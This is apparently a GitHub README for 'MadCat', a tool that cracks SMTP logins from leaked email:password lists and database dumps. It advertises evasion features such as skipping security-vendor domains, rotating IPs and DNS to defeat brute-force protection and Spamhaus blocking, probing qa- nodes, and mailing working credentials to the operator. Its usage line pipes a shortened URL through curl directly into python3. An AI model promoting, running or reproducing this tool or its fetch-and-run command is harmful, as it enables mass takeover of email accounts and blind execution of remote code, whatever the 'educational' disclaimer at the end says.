Skip to content

Latest commit

 

History

History

README.md

MadCat proxyless mail:pass and SMTP cracker (bruter, validator, checker) - mailpass2smtp.py

image

SMTP checker, that takes a list containing emails & passwords, in any order and in any format, extracts email & password, recovers connection params, and tries to log in with these credentials.

Features

  • don't require proxy lists, at all
  • takes as input literally anything - ULP lists, csv lists, sql dumps, json exports, text with any garbage inside. Accepting files up to 100Gb in size, still keeping memory footprint low.
  • raw sockets implementation. It is 80% faster than other smtplib-based scripts cuz of multiple auth and ssl handshake optimisations.
  • skips emails, hosted by all known security vendors (like proofpoint, perimeterwatch, securence, techtarget, cisco etc.), to keep you away from abuses.
  • prefering ipv6 over ipv4 to evade SpamHouse ip blocking.
  • trying qa- nodes first, where brute-force protection is often disabled.
  • trying to connect to different geo-separated host nodes of mail servers in balancer pool, if any.
  • custom DNS resolver, to connect to different ip every time. To evade brute-force protection.
  • trying neighbor ips, if server on current ip rate-limiting us.
  • skips email providers, where login:password authorization (unsafe apps) is disabled by default (like mail.ru, gmail etc.)
  • automatically adjusts ulimit values, to keep you running as fast as possible.
  • automatical threads count balancing.
  • can email you with valid credentials, if you provide an email, for further inbox sorting.
  • can probe around ~150 credential pairs per second (~300-500 in "rage" mode).
  • you can resume scanning from any line you want.

Setup

All you need is python3 and psutil & dnspython modules installed (script will try to install missing modules by itself, anyway). On CentOS you may need to install missing modules by hand:

sudo yum install python-devel
sudo yum install python-requests
sudo yum install python-psutil
sudo yum install python-dns

Usage

python3 <(curl -slkSL vo.la/wIJwXCz) list.txt [verify_email@example.com] [ignored,email,domains] [start_from_line] [rage]

where:

  • list.txt is the path to your combo list, or dump, or csv etc.
  • verify_email@example.com is an email, where to mail valid results (optional).
  • ignored,email,domains is a comma-separated list of skipped email providers in addition to the built-in one (optional).
  • start_from_line is just a line number to start from, if any (optional).
  • rage is a keyword, by adding which you will increase the number from 300 to 600, which in the case of a small server will cause instabilities (optional).

*good credential pairs will be saved to original_file_name_smtp.txt.

Or just:

python3 <(curl -slkSL vo.la/wIJwXCz)

and you will be prompted for missing parameters.

Legal Notices

You are ONLY allowed to use the following code for educational purposes!

This script shall not be used for any kind of illegal activity nor law enforcement at any time. This restriction applies to all cases of usage, no matter whether the code as a whole or only parts of it are being used.

By downloading and/or using any part of the code and/or any file of this repository, you agree to this restriction without remark.